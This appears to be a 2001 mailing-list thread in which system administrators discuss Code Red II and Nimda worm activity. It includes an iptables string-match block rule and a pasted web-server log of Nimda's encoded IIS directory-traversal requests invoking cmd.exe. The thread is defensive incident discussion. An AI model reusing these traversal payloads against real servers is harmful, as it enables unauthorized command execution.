* teo@gecadsoftware.com; on 18 Sep, 2001 wrote: Hi Teodor

yeap, me too...

Ooh I thought I was going crazy :-)

I have this for the older ones: $IPTABLES -I INPUT -p tcp --dport 80 -m string --string .ida -m state --state ESTABLISHED -j REJECT --reject-with tcp-reset

I guess we can just add another one for cmd.exe in place of `.ida'.

Well I am still on ipchains and using return-rst that Boris suggested to block IP's and I am usning that one Thanks for the info -- Togan Muftuoglu

Jo, On 18-Sep-01 Yuri Robbers wrote:

Is anyone writing the occurence of WEB IIS cmd.exe requests up for bugtraq already?

This beast is known since quite a while now, and Microsoft already produced some cleaning-tools and patches against it. It has been discussed on bugtraq already. A good overview of Code Red II can be found on incidents.org: http://incidents.org/react/code_redII.php This document states that the source for most Code Red/II attacks are PCs of home users who don�t know about the standard IIS installation on their Win2k boxes. Code Red II is particularly nasty because it copies the cmd.exe into a location where it is accessible from anywhere via the web. It also trojanizes the explorer.exe to "offer" C: and D: to the world (also via internet of course). If the worm finds Chinese as the standardly installed language, it runs for 48 hours and starts 600 (!) threads (24/300 for other languages) to attack and infect other victims. The worm is also heavily killing bandwith; imagine 600 instances of the worm trying to browse/scan their networking neighbourhood; the worm code tries to attack the same subnet where its host resides in, and the number of ARP requests are very high. This has lead to a breakdown of some small ISPs in the last couple of days.

Cheers, Yuri.

Yup, On 18-Sep-01 jfweber@eternal.net wrote:

** Reply to message from Boris Lorenz on Tue, 18 Sep 2001 18:23:09 +0200 (CEST)

guys , is the same code red derivative that is being reprted on telly ? called nimda ? ( note this is admin , reversed <sigh> ) These things seem to be escalating. Do we know anything about the objective of this little gem? ( note sarcasm ship is ON )

AFAIK, nimda is a Code Red-style worm which spreads via email. It usually hides inside an attachement called readme.exe and starts to browse the networking neighbourhood once it has been activated, for example by doubleclicking/previewing the attachement. It then scans for any vulnerable IIS servers and attacks them using the Unicode Web Traversal exploit. However, according to my records, nimda is not Code Red II but a deliberate transmutation of the Code Red design. There are some infos about nimda on http://www.sarc.com/avcenter/venc/data/w32.nimda.a@mm.html .

Also note some haxor group apparently took down the Afgahn Palace's website today .. so I would suspect the entire Web commiunity will also come under increasing attacks ( there IS always a sort of tit for tat aspect in these web *wars*, or so it seems <sigh>

Yep, I too think we're about to have a really wonderful time!

afterthought: Very funny, Scotty. Now beam down my clothes.

:) LOL Boris Lorenz ---

1200 lines since 15:14 pm !!! global.peapc.com - - [18/Sep/2001:16:50:10 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 - global.peapc.com - - [18/Sep/2001:16:50:10 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 - global.peapc.com - - [18/Sep/2001:16:50:10 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - global.peapc.com - - [18/Sep/2001:16:50:10 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - global.peapc.com - - [18/Sep/2001:16:50:10 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 - global.peapc.com - - [18/Sep/2001:16:50:10 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 - global.peapc.com - - [18/Sep/2001:16:50:10 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - global.peapc.com - - [18/Sep/2001:16:50:10 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - global.peapc.com - - [18/Sep/2001:16:50:11 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - global.peapc.com - - [18/Sep/2001:16:50:11 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - global.peapc.com - - [18/Sep/2001:16:50:11 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - global.peapc.com - - [18/Sep/2001:16:50:11 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - global.peapc.com - - [18/Sep/2001:16:50:12 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - global.peapc.com - - [18/Sep/2001:16:50:12 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - global.peapc.com - - [18/Sep/2001:16:50:12 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - global.peapc.com - - [18/Sep/2001:16:50:13 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -